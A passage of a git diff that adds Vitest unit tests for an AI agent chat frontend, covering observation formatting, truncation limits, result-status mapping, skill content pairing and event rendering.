+ new_content: null,
+ error: null,
+ }),
+ );
+ expect(viewed).toBe(
+ "```\n1 const value = 1;\n2 export default value;\n```",
+ );
+
+ const edited = getObservationContent(
+ makeObservationEvent({
+ kind: "StrReplaceEditorObservation",
+ command: "str_replace",
+ output: "replacement complete",
+ content: [{ type: "text", text: "updated file" }],
+ path: "/workspace/app.ts",
+ prev_exist: true,
+ old_content: "before",
+ new_content: "after",
+ error: null,
+ }),
+ );
+ expect(edited).toBe("```\nupdated file\n```");
+ });
+
+ it("falls back to editor output when no text content is available", () => {
+ expect(
+ getObservationContent(
+ makeObservationEvent({
+ kind: "FileEditorObservation",
+ command: "view",
+ output: "directory listing",
+ path: "/workspace",
+ prev_exist: true,
+ old_content: null,
+ new_content: null,
+ error: null,
+ }),
+ ),
+ ).toBe("```\ndirectory listing\n```");
+ expect(
+ getObservationContent(
+ makeObservationEvent({
+ kind: "FileEditorObservation",
+ command: "create",
+ output: "File created",
+ content: [],
+ path: "/workspace/new.ts",
+ prev_exist: false,
+ old_content: null,
+ new_content: "",
+ error: null,
+ }),
+ ),
+ ).toBe("File created");
+ });
+
+ it("handles malformed editor content and one-sided create metadata", () => {
+ expect(
+ getObservationContent(
+ makeObservationEvent({
+ kind: "FileEditorObservation",
+ command: "view",
+ output: "fallback output",
+ content: "not-an-array",
+ path: "/workspace/app.ts",
+ prev_exist: true,
+ old_content: null,
+ new_content: null,
+ error: null,
+ }),
+ ),
+ ).toBe("```\nfallback output\n```");
+
+ expect(
+ getObservationContent(
+ makeObservationEvent({
+ kind: "FileEditorObservation",
+ command: "create",
+ output: "File created",
+ content: [{ type: "text", text: "created contents" }],
+ path: "/workspace/new.ts",
+ prev_exist: false,
+ old_content: null,
+ new_content: "created contents",
+ error: null,
+ }),
+ ),
+ ).toBe("created contents");
+ });
+
+ it("shows terminal commands, combines text blocks, and ignores images", () => {
+ expect(
+ getObservationContent(
+ makeObservationEvent({
+ kind: "TerminalObservation",
+ content: [
+ { type: "text", text: "first" },
+ { type: "image", image_urls: ["ignored"] },
+ { type: "text", text: "second" },
+ ],
+ command: "printf output",
+ exit_code: 0,
+ is_error: false,
+ timeout: false,
+ metadata: terminalMetadata(0),
+ }),
+ ),
+ ).toBe("Command: `printf output`\n\nOutput:\n```sh\nfirst\nsecond\n```");
+ });
+
+ it("uses the no-output message when a command returns no text", () => {
+ const result = getObservationContent(
+ makeObservationEvent({
+ kind: "ExecuteBashObservation",
+ content: [{ type: "image", image_urls: ["ignored"] }],
+ command: null,
+ exit_code: 0,
+ error: false,
+ timeout: false,
+ metadata: terminalMetadata(0),
+ }),
+ );
+
+ expect(result).toBe("Output:\n```sh\nOBSERVATION$COMMAND_NO_OUTPUT\n```");
+
+ expect(
+ getObservationContent(
+ makeObservationEvent({
+ kind: "TerminalObservation",
+ content: [{ type: "text", text: " \n " }],
+ command: null,
+ exit_code: 0,
+ is_error: false,
+ timeout: false,
+ metadata: terminalMetadata(0),
+ }),
+ ),
+ ).toBe("Output:\n```sh\nOBSERVATION$COMMAND_NO_OUTPUT\n```");
+ });
+
+ it("truncates very large terminal output", () => {
+ const result = getObservationContent(
+ makeObservationEvent({
+ kind: "TerminalObservation",
+ content: [{ type: "text", text: "x".repeat(1001) }],
+ command: "generate-output",
+ exit_code: 0,
+ is_error: false,
+ timeout: false,
+ metadata: terminalMetadata(0),
+ }),
+ );
+
+ expect(result).toContain(`${"x".repeat(1000)}...`);
+ expect(result).not.toContain("x".repeat(1001));
+
+ const boundary = getObservationContent(
+ makeObservationEvent({
+ kind: "TerminalObservation",
+ content: [{ type: "text", text: "x".repeat(1000) }],
+ command: null,
+ exit_code: 0,
+ is_error: false,
+ timeout: false,
+ metadata: terminalMetadata(0),
+ }),
+ );
+ expect(boundary).toBe(`Output:\n\`\`\`sh\n${"x".repeat(1000)}\n\`\`\``);
+ });
+});
+
+describe("getObservationContent - tool output", () => {
+ it("prefers browser text content and ignores non-text blocks", () => {
+ const result = getObservationContent(
+ makeObservationEvent({
+ kind: "BrowserObservation",
+ content: [
+ { type: "image", image_urls: ["ignored"] },
+ { type: "text", text: "Visible page text" },
+ { type: "text", text: "Second line" },
+ ],
+ output: "legacy output",
+ error: null,
+ screenshot_data: null,
+ }),
+ );
+
+ expect(result).toBe("**Output:**\nVisible page text\nSecond line");
+ });
+
+ it("falls back to browser output when content has a malformed shape", () => {
+ expect(
+ getObservationContent(
+ makeObservationEvent({
+ kind: "BrowserObservation",
+ content: "not-an-array",
+ output: "legacy output",
+ error: null,
+ screenshot_data: null,
+ }),
+ ),
+ ).toBe("**Output:**\nlegacy output");
+ });
+
+ it("truncates oversized browser messages", () => {
+ const result = getObservationContent(
+ makeObservationEvent({
+ kind: "BrowserObservation",
+ output: "x".repeat(1001),
+ error: null,
+ screenshot_data: null,
+ }),
+ );
+
+ expect(result).toHaveLength(1014);
+ expect(result.endsWith("...(truncated)")).toBe(true);
+
+ const boundary = getObservationContent(
+ makeObservationEvent({
+ kind: "BrowserObservation",
+ content: [{ type: "text", text: "x".repeat(988) }],
+ output: "legacy output",
+ error: null,
+ screenshot_data: null,
+ }),
+ );
+ expect(boundary).toHaveLength(1000);
+ expect(boundary).toBe(`**Output:**\n${"x".repeat(988)}`);
+ });
+
+ it("labels successful and failed MCP tool output", () => {
+ const successful = getObservationContent(
+ makeObservationEvent({
+ kind: "MCPToolObservation",
+ tool_name: "github_search",
+ content: [
+ { type: "text", text: "2 issues" },
+ { type: "image", image_urls: ["ignored"] },
+ { type: "text", text: "1 pull request" },
+ ],
+ is_error: false,
+ }),
+ );
+ const failed = getObservationContent(
+ makeObservationEvent({
+ kind: "MCPToolObservation",
+ tool_name: "github_search",
+ content: [{ type: "text", text: "Access denied" }],
+ is_error: true,
+ }),
+ );
+
+ expect(successful).toBe(
+ "**Tool:** github_search\n\n**Result:**\n2 issues\n1 pull request",
+ );
+ expect(failed).toBe("**Tool:** github_search\n\n**Error:**\nAccess denied");
+ });
+
+ it("truncates oversized MCP output", () => {
+ const result = getObservationContent(
+ makeObservationEvent({
+ kind: "MCPToolObservation",
+ tool_name: "large_tool",
+ content: [{ type: "text", text: "x".repeat(1100) }],
+ is_error: false,
+ }),
+ );
+
+ expect(result).toHaveLength(1003);
+ expect(result.endsWith("...")).toBe(true);
+
+ const boundary = getObservationContent(
+ makeObservationEvent({
+ kind: "MCPToolObservation",
+ tool_name: "boundary",
+ content: [{ type: "text", text: "x".repeat(968) }],
+ is_error: false,
+ }),
+ );
+ expect(boundary).toHaveLength(1000);
+ expect(boundary.endsWith("...")).toBe(false);
+ });
+
+ it("formats successful and failed skill invocations", () => {
+ expect(
+ getObservationContent(
+ makeObservationEvent({
+ kind: "InvokeSkillObservation",
+ skill_name: "testing",
+ content: [
+ { type: "text", text: "Skill instructions" },
+ { type: "image", image_urls: ["ignored"] },
+ { type: "text", text: "Use focused assertions" },
+ ],
+ is_error: false,
+ }),
+ ),
+ ).toBe(
+ "**Skill:** `testing`\n\nSkill instructions\nUse focused assertions",
+ );
+ expect(
+ getObservationContent(
+ makeObservationEvent({
+ kind: "InvokeSkillObservation",
+ skill_name: "",
+ content: [{ type: "text", text: "Skill unavailable" }],
+ is_error: true,
+ }),
+ ),
+ ).toBe("**Error:**\nSkill unavailable");
+ });
+
+ it("truncates oversized skill output", () => {
+ const result = getObservationContent(
+ makeObservationEvent({
+ kind: "InvokeSkillObservation",
+ skill_name: "testing",
+ content: [{ type: "text", text: "x".repeat(1100) }],
+ is_error: false,
+ }),
+ );
+
+ expect(result).toHaveLength(1014);
+ expect(result.endsWith("...(truncated)")).toBe(true);
+
+ const boundary = getObservationContent(
+ makeObservationEvent({
+ kind: "InvokeSkillObservation",
+ skill_name: "boundary",
+ content: [{ type: "text", text: "x".repeat(977) }],
+ is_error: false,
+ }),
+ );
+ expect(boundary).toHaveLength(1000);
+ expect(boundary.endsWith("...(truncated)")).toBe(false);
+ });
+
+ it("surfaces only Canvas UI acknowledgement text", () => {
+ expect(
+ getObservationContent(
+ makeObservationEvent({
+ kind: "CanvasUIObservation",
+ content: [
+ { type: "text", text: "Tab opened" },
+ { type: "image", image_urls: ["ignored"] },
+ { type: "text", text: "Preview ready" },
+ ],
+ is_error: false,
+ }),
+ ),
+ ).toBe("Tab opened\nPreview ready");
+ });
+
+ it("describes successful model switches with the available context", () => {
+ const detailed = getObservationContent(
+ makeObservationEvent({
+ kind: "SwitchLLMObservation",
+ profile_name: "reviewer",
+ active_model: "claude-sonnet",
+ reason: "Review benefits from a second model",
+ content: [],
+ is_error: false,
+ }),
+ );
+ expect(detailed).toBe(
+ "**Profile:** `reviewer`\n**Active model:** `claude-sonnet`\n**Reason:** Review benefits from a second model",
+ );
+
+ expect(
+ getObservationContent(
+ makeObservationEvent({
+ kind: "SwitchLLMObservation",
+ profile_name: "fast",
+ active_model: null,
+ reason: null,
+ content: [],
+ is_error: false,
+ }),
+ ),
+ ).toBe("**Profile:** `fast`");
+ });
+
+ it("uses a server error when present and a useful fallback otherwise", () => {
+ expect(
+ getObservationContent(
+ makeObservationEvent({
+ kind: "SwitchLLMObservation",
+ profile_name: "missing",
+ active_model: null,
+ reason: null,
+ content: [
+ { type: "image", image_urls: ["ignored"] },
+ { type: "text", text: "Profile not found" },
+ { type: "text", text: "Choose another profile" },
+ ],
+ is_error: true,
+ }),
+ ),
+ ).toBe("**Error:**\nProfile not found\nChoose another profile");
+ expect(
+ getObservationContent(
+ makeObservationEvent({
+ kind: "SwitchLLMObservation",
+ profile_name: "missing",
+ active_model: null,
+ reason: null,
+ content: [{ type: "image", image_urls: ["ignored"] }],
+ is_error: true,
+ }),
+ ),
+ ).toBe("**Error:**\nFailed to switch LLM profile `missing`.");
+ });
+});
+
+describe("getObservationContent - task and simple observations", () => {
+ it("formats task plans, status icons, notes, and a result message", () => {
+ const result = getObservationContent(
+ makeObservationEvent({
+ kind: "TaskTrackerObservation",
+ command: "plan",
+ task_list: [
+ { title: "Write", notes: "Important", status: "todo" },
+ { title: "Test", notes: "", status: "in_progress" },
+ { title: "Ship", notes: "", status: "done" },
+ { title: "Review", notes: "", status: "blocked" },
+ ],
+ content: " Plan updated ",
+ }),
+ );
+
+ expect(result).toContain("Task List (4 items)");
+ expect(result).toContain("\n1. ⏳ **[TODO]** Write");
+ expect(result).toContain("\n2. 🔄 **[IN PROGRESS]** Test");
+ expect(result).toContain("⏳ **[TODO]** Write");
+ expect(result).toContain("🔄 **[IN PROGRESS]** Test");
+ expect(result).toContain("✅ **[DONE]** Ship");
+ expect(result).toContain("❓ **[BLOCKED]** Review");
+ expect(result).toContain("*Notes: Important*");
+ expect(result).not.toContain("*Notes: *");
+ expect(result).toContain("**Result:** Plan updated");
+ });
+
+ it("uses singular task copy and describes empty plans", () => {
+ expect(
+ getObservationContent(
+ makeObservationEvent({
+ kind: "TaskTrackerObservation",
+ command: "plan",
+ task_list: [{ title: "Only task", notes: "", status: "todo" }],
+ content: "",
+ }),
+ ),
+ ).toContain("Task List (1 item)");
+ expect(
+ getObservationContent(
+ makeObservationEvent({
+ kind: "TaskTrackerObservation",
+ command: "plan",
+ task_list: [],
+ content: " ",
+ }),
+ ),
+ ).toBe("**Command:** `plan`\n\n**Task List:** Empty");
+ expect(
+ getObservationContent(
+ makeObservationEvent({
+ kind: "TaskTrackerObservation",
+ command: "view",
+ task_list: [
+ { title: "Do not render", notes: "hidden", status: "todo" },
+ ],
+ content: "Current list",
+ }),
+ ),
+ ).toBe("**Command:** `view`\n\n**Result:** Current list");
+ });
+
+ it("returns thought text and ignores image-only thought content", () => {
+ expect(
+ getObservationContent(
+ makeObservationEvent({
+ kind: "ThinkObservation",
+ content: [
+ { type: "text", text: "Logged" },
+ { type: "image", image_urls: ["ignored"] },
+ { type: "text", text: "Still thinking" },
+ ],
+ }),
+ ),
+ ).toBe("Logged\nStill thinking");
+ expect(
+ getObservationContent(
+ makeObservationEvent({
+ kind: "ThinkObservation",
+ content: [{ type: "image", image_urls: ["ignored"] }],
+ }),
+ ),
+ ).toBe("");
+ });
+
+ it("labels failed finish observations and returns successful text directly", () => {
+ expect(
+ getObservationContent(
+ makeObservationEvent({
+ kind: "FinishObservation",
+ content: [
+ { type: "text", text: "Done" },
+ { type: "text", text: "Verified" },
+ ],
+ is_error: false,
+ }),
+ ),
+ ).toBe("Done\nVerified");
+ expect(
+ getObservationContent(
+ makeObservationEvent({
+ kind: "FinishObservation",
+ content: [
+ { type: "image", image_urls: ["ignored"] },
+ { type: "text", text: "Could not finish" },
+ ],
+ is_error: true,
+ }),
+ ),
+ ).toBe("**Error:**\nCould not finish");
+ });
+
+ it("preserves unknown observations as JSON for forward compatibility", () => {
+ const content = getObservationContent(
+ makeObservationEvent({ kind: "FutureObservation", value: 42 }),
+ );
+
+ expect(content).toContain('"kind": "FutureObservation"');
+ expect(content).toContain('"value": 42');
+ });
+});
+
+describe("getObservationContent - large search results", () => {
+ it("does not truncate glob output exactly at the content limit", () => {
+ const result = getObservationContent(
+ makeObservationEvent({
+ kind: "GlobObservation",
+ content: [],
+ is_error: false,
+ files: ["x".repeat(936)],
+ pattern: "p",
+ search_path: "/",
+ truncated: false,
+ }),
+ );
+
+ expect(result).toHaveLength(1000);
+ expect(result.endsWith("...(truncated)")).toBe(false);
+ });
+
+ it("truncates oversized glob results", () => {
+ const result = getObservationContent(
+ makeObservationEvent({
+ kind: "GlobObservation",
+ content: [],
+ is_error: false,
+ files: [`/workspace/${"x".repeat(1100)}`],
+ pattern: "**/*",
+ search_path: "/workspace",
+ truncated: false,
+ }),
+ );
+
+ expect(result).toHaveLength(1014);
+ expect(result.endsWith("...(truncated)")).toBe(true);
+ });
+
+ it("marks truncated grep matches and caps oversized output", () => {
+ const result = getObservationContent(
+ makeObservationEvent({
+ kind: "GrepObservation",
+ content: [],
+ is_error: false,
+ matches: [`/workspace/${"x".repeat(1100)}`],
+ pattern: "needle",
+ search_path: "/workspace",
+ include_pattern: "*.ts",
+ truncated: true,
+ }),
+ );
+
+ expect(result).toContain("**Matches (1+, truncated):**");
+ expect(result).toHaveLength(1014);
+ expect(result.endsWith("...(truncated)")).toBe(true);
+ });
+
+ it("does not truncate grep output exactly at the content limit", () => {
+ const result = getObservationContent(
+ makeObservationEvent({
+ kind: "GrepObservation",
+ content: [],
+ is_error: false,
+ matches: ["x".repeat(940)],
+ pattern: "p",
+ search_path: "/",
+ include_pattern: null,
+ truncated: false,
+ }),
+ );
+
+ expect(result).toHaveLength(1000);
+ expect(result.endsWith("...(truncated)")).toBe(false);
+ });
+});
diff --git a/__tests__/components/conversation-events/chat/event-content-helpers/get-observation-result.test.ts b/__tests__/components/conversation-events/chat/event-content-helpers/get-observation-result.test.ts
new file mode 100644
index 0000000000000000000000000000000000000000..eb6ac80f279730970bea86ebad3586bb3b39ae97
--- /dev/null
+++ b/__tests__/components/conversation-events/chat/event-content-helpers/get-observation-result.test.ts
@@ -0,0 +1,243 @@
+import { describe, expect, it } from "vitest";
+import {
+ getACPToolCallResult,
+ getObservationResult,
+} from "#/components/conversation-events/chat/event-content-helpers/get-observation-result";
+import { ACPToolCallEvent } from "#/types/agent-server/core/events/acp-tool-call-event";
+import { ObservationEvent } from "#/types/agent-server/core";
+
+const makeACPEvent = (
+ overrides: Partial = {},
+): ACPToolCallEvent => ({
+ id: "acp-1",
+ kind: "ACPToolCallEvent",
+ timestamp: "2024-01-01T00:00:00Z",
+ source: "agent",
+ tool_call_id: "tc-1",
+ title: "Run command",
+ status: "completed",
+ tool_kind: "execute",
+ raw_input: { command: "ls" },
+ raw_output: "file.txt",
+ content: null,
+ is_error: false,
+ ...overrides,
+});
+
+describe("getACPToolCallResult", () => {
+ it("maps completed → success", () => {
+ expect(getACPToolCallResult(makeACPEvent({ status: "completed" }))).toBe(
+ "success",
+ );
+ });
+
+ it("maps failed → error", () => {
+ expect(getACPToolCallResult(makeACPEvent({ status: "failed" }))).toBe(
+ "error",
+ );
+ });
+
+ it("maps is_error → error even when status is completed", () => {
+ expect(
+ getACPToolCallResult(
+ makeACPEvent({ status: "completed", is_error: true }),
+ ),
+ ).toBe("error");
+ });
+
+ it.each(["pending", "in_progress"] as const)(
+ "maps non-terminal status %s → undefined (running card)",
+ (status) => {
+ expect(getACPToolCallResult(makeACPEvent({ status }))).toBeUndefined();
+ },
+ );
+
+ it("maps null status → undefined (running card)", () => {
+ expect(
+ getACPToolCallResult(makeACPEvent({ status: null })),
+ ).toBeUndefined();
+ });
+});
+
+const makeObs = (
+ observation: ObservationEvent["observation"],
+): ObservationEvent => ({
+ id: "obs-1",
+ timestamp: "2024-01-01T00:00:00Z",
+ source: "environment",
+ tool_name: "tool",
+ tool_call_id: "tc-1",
+ action_id: "act-1",
+ observation,
+});
+
+const makeMetadata = (exitCode: number) => ({
+ exit_code: exitCode,
+ pid: 123,
+ username: "openhands",
+ hostname: "runtime",
+ working_dir: "/workspace",
+ py_interpreter_path: null,
+ prefix: "",
+ suffix: "",
+});
+
+describe("getObservationResult", () => {
+ it("maps bash exit codes from either top-level output or metadata", () => {
+ const bash = (exitCode: number | null, metadataExitCode: number) =>
+ makeObs({
+ kind: "ExecuteBashObservation",
+ content: [],
+ command: "test",
+ exit_code: exitCode,
+ error: false,
+ timeout: false,
+ metadata: makeMetadata(metadataExitCode),
+ });
+
+ expect(getObservationResult(bash(-1, 0))).toBe("timeout");
+ expect(getObservationResult(bash(null, -1))).toBe("timeout");
+ expect(getObservationResult(bash(0, 1))).toBe("success");
+ expect(getObservationResult(bash(null, 0))).toBe("success");
+ expect(getObservationResult(bash(2, 2))).toBe("error");
+ });
+
+ it("maps terminal timeouts, failures, and successful fallback states", () => {
+ const terminal = (
+ exitCode: number | null | undefined,
+ metadataExitCode: number | null,
+ overrides: { timeout?: boolean; is_error?: boolean } = {},
+ ) =>
+ makeObs({
+ kind: "TerminalObservation",
+ content: [],
+ command: "test",
+ exit_code: exitCode,
+ is_error: overrides.is_error ?? false,
+ timeout: overrides.timeout ?? false,
+ metadata: makeMetadata(metadataExitCode as number),
+ } as unknown as ObservationEvent["observation"]);
+
+ expect(getObservationResult(terminal(1, 1, { timeout: true }))).toBe(
+ "timeout",
+ );
+ expect(getObservationResult(terminal(-1, 0))).toBe("timeout");
+ expect(getObservationResult(terminal(0, 1))).toBe("success");
+ expect(getObservationResult(terminal(0, 1, { is_error: true }))).toBe(
+ "success",
+ );
+ expect(getObservationResult(terminal(null, 0))).toBe("success");
+ expect(getObservationResult(terminal(2, 2, { is_error: true }))).toBe(
+ "error",
+ );
+ expect(getObservationResult(terminal(undefined, null))).toBe("success");
+ });
+
+ it("maps editor errors and successful editor outcomes", () => {
+ const editor = (kind: string, error: string | null) =>
+ makeObs({
+ kind,
+ command: "view",
+ output: "",
+ path: "/workspace/file.ts",
+ prev_exist: true,
+ old_content: null,
+ new_content: null,
+ error,
+ } as ObservationEvent["observation"]);
+
+ expect(
+ getObservationResult(editor("FileEditorObservation", "Not found")),
+ ).toBe("error");
+ expect(
+ getObservationResult(editor("StrReplaceEditorObservation", null)),
+ ).toBe("success");
+ expect(
+ getObservationResult(
+ editor("StrReplaceEditorObservation", "Replacement failed"),
+ ),
+ ).toBe("error");
+ });
+
+ it("maps MCP and model-switch error flags", () => {
+ const mcp = (isError: boolean) =>
+ makeObs({
+ kind: "MCPToolObservation",
+ content: [],
+ is_error: isError,
+ tool_name: "search",
+ });
+ const modelSwitch = (isError: boolean) =>
+ makeObs({
+ kind: "SwitchLLMObservation",
+ content: [],
+ is_error: isError,
+ profile_name: "reviewer",
+ reason: null,
+ active_model: null,
+ });
+
+ expect(getObservationResult(mcp(true))).toBe("error");
+ expect(getObservationResult(mcp(false))).toBe("success");
+ expect(getObservationResult(modelSwitch(true))).toBe("error");
+ expect(getObservationResult(modelSwitch(false))).toBe("success");
+ });
+
+ it("maps InvokeSkillObservation is_error → error, otherwise success", () => {
+ expect(
+ getObservationResult(
+ makeObs({
+ kind: "InvokeSkillObservation",
+ skill_name: "s",
+ content: [],
+ is_error: true,
+ }),
+ ),
+ ).toBe("error");
+ expect(
+ getObservationResult(
+ makeObs({
+ kind: "InvokeSkillObservation",
+ skill_name: "s",
+ content: [],
+ is_error: false,
+ }),
+ ),
+ ).toBe("success");
+ });
+
+ it("maps TaskObservation is_error or failed status → error, otherwise success", () => {
+ const task = (extra: { status: string; is_error?: boolean }) =>
+ makeObs({
+ kind: "TaskObservation",
+ content: [],
+ task_id: "t1",
+ subagent: "code-explorer",
+ ...extra,
+ });
+ expect(getObservationResult(task({ status: "completed" }))).toBe("success");
+ expect(getObservationResult(task({ status: "failed" }))).toBe("error");
+ expect(
+ getObservationResult(task({ status: "completed", is_error: true })),
+ ).toBe("error");
+ });
+
+ it("maps CanvasUIObservation is_error → error, otherwise success", () => {
+ expect(
+ getObservationResult(
+ makeObs({ kind: "CanvasUIObservation", content: [], is_error: true }),
+ ),
+ ).toBe("error");
+ expect(
+ getObservationResult(
+ makeObs({ kind: "CanvasUIObservation", content: [], is_error: false }),
+ ),
+ ).toBe("success");
+ });
+
+ it("treats observation kinds without failure semantics as successful", () => {
+ expect(
+ getObservationResult(makeObs({ kind: "ThinkObservation", content: [] })),
+ ).toBe("success");
+ });
+});
diff --git a/__tests__/components/conversation-events/chat/event-content-helpers/get-skill-ready-items.test.ts b/__tests__/components/conversation-events/chat/event-content-helpers/get-skill-ready-items.test.ts
new file mode 100644
index 0000000000000000000000000000000000000000..db30a8f07a20dd8b5209287f8176f745276405b2
--- /dev/null
+++ b/__tests__/components/conversation-events/chat/event-content-helpers/get-skill-ready-items.test.ts
@@ -0,0 +1,183 @@
+import { describe, expect, it } from "vitest";
+import {
+ getSkillReadyContent,
+ getSkillReadyItems,
+} from "#/components/conversation-events/chat/event-content-helpers/get-skill-ready-content";
+import type { TextContent } from "#/types/agent-server/core/base/common";
+
+const makeTextContent = (text: string): TextContent[] => [
+ { type: "text", text },
+];
+
+const wrapExtraInfo = (content: string): string =>
+ `${content} `;
+
+describe("getSkillReadyItems", () => {
+ it("pairs skills with their EXTRA_INFO blocks by index", () => {
+ const skills = ["docker", "gitlab"];
+ const extended = makeTextContent(
+ `${wrapExtraInfo("Docker guide")}${wrapExtraInfo("GitLab guide")}`,
+ );
+
+ const items = getSkillReadyItems(skills, extended);
+
+ expect(items).toEqual([
+ { name: "docker", content: "Docker guide" },
+ { name: "gitlab", content: "GitLab guide" },
+ ]);
+ });
+
+ it("returns empty content for skills without matching EXTRA_INFO", () => {
+ const skills = ["docker", "gitlab"];
+ const extended = makeTextContent(wrapExtraInfo("Docker guide only"));
+
+ const items = getSkillReadyItems(skills, extended);
+
+ expect(items).toEqual([
+ { name: "docker", content: "Docker guide only" },
+ { name: "gitlab", content: "" },
+ ]);
+ });
+
+ it("returns unnamed items when no skills but EXTRA_INFO blocks exist", () => {
+ const extended = makeTextContent(
+ `${wrapExtraInfo("Block A")}${wrapExtraInfo("Block B")}`,
+ );
+
+ const items = getSkillReadyItems([], extended);
+
+ expect(items).toEqual([
+ { name: "Extended Content 1", content: "Block A" },
+ { name: "Extended Content 2", content: "Block B" },
+ ]);
+ });
+
+ it("returns empty array when no skills and no extended content", () => {
+ expect(getSkillReadyItems([], [])).toEqual([]);
+ });
+
+ it("skips empty EXTRA_INFO blocks for unnamed items", () => {
+ const extended = makeTextContent(
+ `${wrapExtraInfo("Content")}${wrapExtraInfo(" ")}`,
+ );
+
+ const items = getSkillReadyItems([], extended);
+
+ expect(items).toEqual([{ name: "Extended Content 1", content: "Content" }]);
+ });
+
+ it("trims content from EXTRA_INFO blocks", () => {
+ const skills = ["docker"];
+ const extended = makeTextContent(wrapExtraInfo(" trimmed content "));
+
+ const items = getSkillReadyItems(skills, extended);
+
+ expect(items[0].content).toBe("trimmed content");
+ });
+});
+
+describe("skill-ready markdown formatting", () => {
+ it("pairs skills with trimmed EXTRA_INFO blocks using exact markdown spacing", () => {
+ const skills = ["docker", "gitlab"];
+ const extended: TextContent[] = [
+ {
+ type: "text",
+ text: "prefix Docker guide",
+ },
+ {
+ type: "text",
+ text: "\nwith two lines ignored ",
+ },
+ {
+ type: "text",
+ text: " GitLab guide suffix",
+ },
+ ];
+
+ expect(getSkillReadyContent(skills, extended)).toBe(
+ [
+ "",
+ "",
+ "**Triggered Skill Knowledge:**",
+ "",
+ "- **docker**",
+ "",
+ "Docker guide\nwith two lines",
+ "",
+ "- **gitlab**",
+ "",
+ "GitLab guide",
+ ].join("\n"),
+ );
+ });
+
+ it("renders a skill without extra spacing when no matching block exists", () => {
+ const extended = makeTextContent(wrapExtraInfo("Docker guide"));
+
+ expect(getSkillReadyContent(["docker", "gitlab"], extended)).toBe(
+ [
+ "",
+ "",
+ "**Triggered Skill Knowledge:**",
+ "",
+ "- **docker**",
+ "",
+ "Docker guide",
+ "",
+ "- **gitlab**",
+ ].join("\n"),
+ );
+ });
+
+ it("ignores unpaired EXTRA_INFO blocks when skills are present", () => {
+ const extended = makeTextContent(
+ `${wrapExtraInfo("Docker guide")}${wrapExtraInfo("Unused guide")}`,
+ );
+
+ expect(getSkillReadyContent(["docker"], extended)).toBe(
+ "\n\n**Triggered Skill Knowledge:**\n\n- **docker**\n\nDocker guide",
+ );
+ });
+
+ it("formats extracted blocks as numbered-free extended content without skills", () => {
+ const extended = makeTextContent(
+ `${wrapExtraInfo(" First block ")}${wrapExtraInfo("Second block")}`,
+ );
+
+ expect(getSkillReadyContent([], extended)).toBe(
+ "\n\n**Extended Content:**\n\nFirst block\n\nSecond block",
+ );
+ });
+
+ it("returns empty content when no complete non-empty EXTRA_INFO block exists", () => {
+ const extended = makeTextContent(
+ `plain text ${wrapExtraInfo(" ")} unclosed`,
+ );
+
+ expect(getSkillReadyContent([], extended)).toBe("");
+ });
+
+ it("ignores non-text runtime entries while joining surrounding text", () => {
+ const extended = [
+ { type: "text", text: "joined" },
+ {
+ type: "image",
+ image_urls: ["data:image/png;base64,ignored"],
+ text: "poisoned image text ",
+ },
+ { type: "text", text: " block " },
+ ] as unknown as TextContent[];
+
+ expect(getSkillReadyContent([], extended)).toBe(
+ "\n\n**Extended Content:**\n\njoined block",
+ );
+ });
+
+ it("falls back safely when legacy runtime data omits both arrays", () => {
+ const missingSkills = undefined as unknown as string[];
+ const missingContent = undefined as unknown as TextContent[];
+
+ expect(getSkillReadyContent(missingSkills, missingContent)).toBe("");
+ expect(getSkillReadyItems(missingSkills, missingContent)).toEqual([]);
+ });
+});
diff --git a/__tests__/components/conversation-events/chat/event-content-helpers/should-render-event.test.ts b/__tests__/components/conversation-events/chat/event-content-helpers/should-render-event.test.ts
new file mode 100644
index 0000000000000000000000000000000000000000..9920ec6f3bf24d163ac1975db3065077aa4ed898
--- /dev/null
+++ b/__tests__/components/conversation-events/chat/event-content-helpers/should-render-event.test.ts
@@ -0,0 +1,291 @@
+import { describe, expect, it } from "vitest";
+import { shouldRenderEvent } from "#/components/conversation-events/chat/event-content-helpers/should-render-event";
+import { CHILD_CONVERSATION_RESULT_PREFIX } from "#/constants/child-conversation";
+import {
+ createPlanningFileEditorActionEvent,
+ createOtherActionEvent,
+ createPlanningObservationEvent,
+ createUserMessageEvent,
+} from "test-utils";
+import { ACPToolCallEvent } from "#/types/agent-server/core/events/acp-tool-call-event";
+import { StreamingDeltaEvent } from "#/types/agent-server/core/events/streaming-delta-event";
+import {
+ ActionEvent,
+ ObservationEvent,
+ OpenHandsEvent,
+ SecurityRisk,
+} from "#/types/agent-server/core";
+import { SwitchLLMAction } from "#/types/agent-server/core/base/action";
+import { SwitchLLMObservation } from "#/types/agent-server/core/base/observation";
+
+const makeACPEvent = (
+ overrides: Partial = {},
+): ACPToolCallEvent => ({
+ id: "acp-1",
+ kind: "ACPToolCallEvent",
+ timestamp: "2024-01-01T00:00:00Z",
+ source: "agent",
+ tool_call_id: "tc-1",
+ title: "Run command",
+ status: "completed",
+ tool_kind: "execute",
+ raw_input: { command: "ls" },
+ raw_output: "file.txt",
+ content: null,
+ is_error: false,
+ ...overrides,
+});
+
+describe("shouldRenderEvent - PlanningFileEditorAction", () => {
+ it("should return false for PlanningFileEditorAction", () => {
+ const event = createPlanningFileEditorActionEvent("action-1");
+
+ expect(shouldRenderEvent(event)).toBe(false);
+ });
+
+ it("should return true for other action types", () => {
+ const event = createOtherActionEvent("action-1");
+
+ expect(shouldRenderEvent(event)).toBe(true);
+ });
+
+ it("should return true for PlanningFileEditorObservation", () => {
+ const event = createPlanningObservationEvent("obs-1");
+
+ // Observations should still render (they're handled separately in event-message)
+ expect(shouldRenderEvent(event)).toBe(true);
+ });
+
+ it("should return true for user message events", () => {
+ const event = createUserMessageEvent("msg-1");
+
+ expect(shouldRenderEvent(event)).toBe(true);
+ });
+});
+
+describe("shouldRenderEvent - ACPToolCallEvent", () => {
+ it("renders the early in_progress 'started' card", () => {
+ // The SDK now persists exactly one ``started`` (in_progress) event and
+ // one terminal event per ``tool_call_id`` — the action->observation pair.
+ // The started event renders the card as "running"; ``handleEventForUI``
+ // then replaces it in place when the terminal event arrives. The old
+ // half-formed flashing came from the now-removed per-progress fan-out.
+ const event = makeACPEvent({ status: "in_progress", raw_input: {} });
+
+ expect(shouldRenderEvent(event)).toBe(true);
+ });
+
+ it("renders pending 'started' cards", () => {
+ const event = makeACPEvent({ status: "pending" });
+
+ expect(shouldRenderEvent(event)).toBe(true);
+ });
+
+ it("renders completed events", () => {
+ const event = makeACPEvent({ status: "completed" });
+
+ expect(shouldRenderEvent(event)).toBe(true);
+ });
+
+ it("renders failed events", () => {
+ const event = makeACPEvent({ status: "failed", is_error: true });
+
+ expect(shouldRenderEvent(event)).toBe(true);
+ });
+
+ it("renders events with null status as a running card", () => {
